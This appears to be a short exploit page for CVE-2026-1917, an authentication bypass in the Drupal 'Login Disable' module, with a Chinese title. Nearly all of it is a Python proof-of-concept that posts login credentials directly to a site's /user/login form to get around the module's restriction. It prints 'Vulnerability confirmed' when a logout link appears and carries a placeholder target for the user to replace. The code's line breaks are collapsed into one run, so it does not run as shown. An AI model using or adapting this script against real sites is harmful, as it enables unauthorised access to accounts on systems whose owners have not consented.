CVE-2026-1917 Drupal Login Disable认证绕过漏洞

import requests def check_vulnerability(target_url, username, password): """ PoC for CVE-2026-1917: Authentication Bypass in Drupal Login Disable. Attempts to login via a direct POST request which might bypass the module's restrictions. """ login_url = f"{target_url}/user/login" # Standard login payload payload = { "name": username, "pass": password, "form_id": "user_login_form", "op": "Log in" } session = requests.Session() try: # Get the login page to establish session and potentially get CSRF token if needed response = session.get(login_url) # Attempt to post login credentials response = session.post(login_url, data=payload) # Check if login was successful by looking for 'Log out' link or checking redirection if response.status_code == 200 and 'Log out' in response.text: print(f"[+] Vulnerability confirmed! Authentication bypassed on {target_url}") return True else: print(f"[-] Authentication bypass failed or patch applied.") return False except Exception as e: print(f"[!] Error occurred: {e}") return False if __name__ == "__main__": target = "http://example.com" # Replace with target URL user = "testuser" pwd = "password" check_vulnerability(target, user, pwd)